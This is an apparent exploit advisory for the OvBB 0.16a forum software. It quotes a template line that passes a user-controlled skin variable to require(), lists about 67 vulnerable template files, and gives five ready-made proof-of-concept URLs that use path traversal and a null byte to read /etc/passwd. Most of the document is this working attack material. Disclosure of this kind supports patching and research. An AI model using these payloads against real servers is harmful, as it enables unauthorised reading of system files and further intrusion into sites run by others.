OvBB 0.16a Local File Inclusion

`OvBB v0.16a Multiple Local File Inclusion Vulnerabilities  
Found by cOndemned  
Tested on Linux Debian (apache + php5 + mysql)  
(download at http://sourceforge.net/projects/ovbb/)  
  
  
source of /skins/default/addevent.tpl.php  
  
1. <?php  
2. // Header.  
3. $strPageTitle = " :: Calendar :. New{$strType} Event";  
4. require("./skins/{$CFG['skin']}/header.tpl.php"); // LFI  
  
  
description:  
  
register_globals must be turned on and magic quotes gpc must be turned  
off in order to exploit thoes vulnerabilities.  
  
thing looks the same in ALMOST all files in /skins/default directory.  
(there is about 67 vulnerable files)  
  
prior versions may also be affected.  
  
  
list of vulnerable files:  
  
/skins/default/addevent.tpl.php  
/skins/default/alreadyregistered.tpl.php  
/skins/default/calendar.tpl.php  
/skins/default/deleteposts.tpl.php  
/skins/default/deletethread.tpl.php  
/skins/default/editevent.tpl.php  
/skins/default/editpost.tpl.php  
/skins/default/forgotdetails.tpl.php  
/skins/default/getip.tpl.php  
/skins/default/index.tpl.php  
/skins/default/justregistered.tpl.php  
/skins/default/login.tpl.php  
/skins/default/mailuser.tpl.php  
/skins/default/memberlist.tpl.php  
/skins/default/movecopythread.tpl.php  
/skins/default/newpoll.tpl.php  
/skins/default/online.tpl.php  
/skins/default/pollresults.tpl.php  
/skins/default/post.tpl.php  
/skins/default/register.tpl.php  
/skins/default/sysmessage.tpl.php  
/skins/default/unauthorized.tpl.php  
/skins/default/admincp/addattachment.tpl.php  
/skins/default/admincp/addavatar.tpl.php  
/skins/default/admincp/addforum.tpl.php  
/skins/default/admincp/addposticon.tpl.php  
/skins/default/admincp/addskin.tpl.php  
/skins/default/admincp/addsmilie.tpl.php  
/skins/default/admincp/addusergroup.tpl.php  
/skins/default/admincp/addusergroupuser.tpl.php  
/skins/default/admincp/attachments.tpl.php  
/skins/default/admincp/avatars.tpl.php  
/skins/default/admincp/censored.tpl.php  
/skins/default/admincp/editattachment.tpl.php  
/skins/default/admincp/editavatar.tpl.php  
/skins/default/admincp/editforum.tpl.php  
/skins/default/admincp/editposticon.tpl.php  
/skins/default/admincp/editskin.tpl.php  
/skins/default/admincp/editsmilie.tpl.php  
/skins/default/admincp/editusergroup.tpl.php  
/skins/default/admincp/forums.tpl.php  
/skins/default/admincp/general.tpl.php  
/skins/default/admincp/posticons.tpl.php  
/skins/default/admincp/removeattachment.tpl.php  
/skins/default/admincp/removeavatar.tpl.php  
/skins/default/admincp/removeforum.tpl.php  
/skins/default/admincp/removeposticon.tpl.php  
/skins/default/admincp/removeskin.tpl.php  
/skins/default/admincp/removesmilie.tpl.php  
/skins/default/admincp/removeusergroup.tpl.php  
/skins/default/admincp/skins.tpl.php  
/skins/default/admincp/smilies.tpl.php  
/skins/default/admincp/style.tpl.php  
/skins/default/admincp/usergroups.tpl.php  
/skins/default/pm/folders.tpl.php  
/skins/default/pm/inbox.tpl.php  
/skins/default/pm/newmessage.tpl.php  
/skins/default/pm/sentitems.tpl.php  
/skins/default/pm/tracking.tpl.php  
/skins/default/search/main.tpl.php  
/skins/default/usercp/avatar.tpl.php  
/skins/default/usercp/buddylist.tpl.php  
/skins/default/usercp/ignorelist.tpl.php  
/skins/default/usercp/main.tpl.php  
/skins/default/usercp/options.tpl.php  
/skins/default/usercp/password.tpl.php  
/skins/default/usercp/profile.tpl.php  
  
  
proof of concept:  
  
http://[target]/[OvBB_path]/skins/default/addevent.tpl.php?CFG[skin]=../../../../../../../../../etc/passwd%00  
http://[target]/[OvBB_path]/skins/default/alreadyregistered.tpl.php?CFG[skin]=../../../../../../../../../etc/passwd%00  
http://[target]/[OvBB_path]/skins/default/calendar.tpl.php?CFG[skin]=../../../../../../../../../etc/passwd%00  
http://[target]/[OvBB_path]/skins/default/deleteposts.tpl.php?CFG[skin]=../../../../../../../../../etc/passwd%00  
http://[target]/[OvBB_path]/skins/default/deletethread.tpl.php?CFG[skin]=../../../../../../../../../etc/passwd%00  
  
etc...  
  
`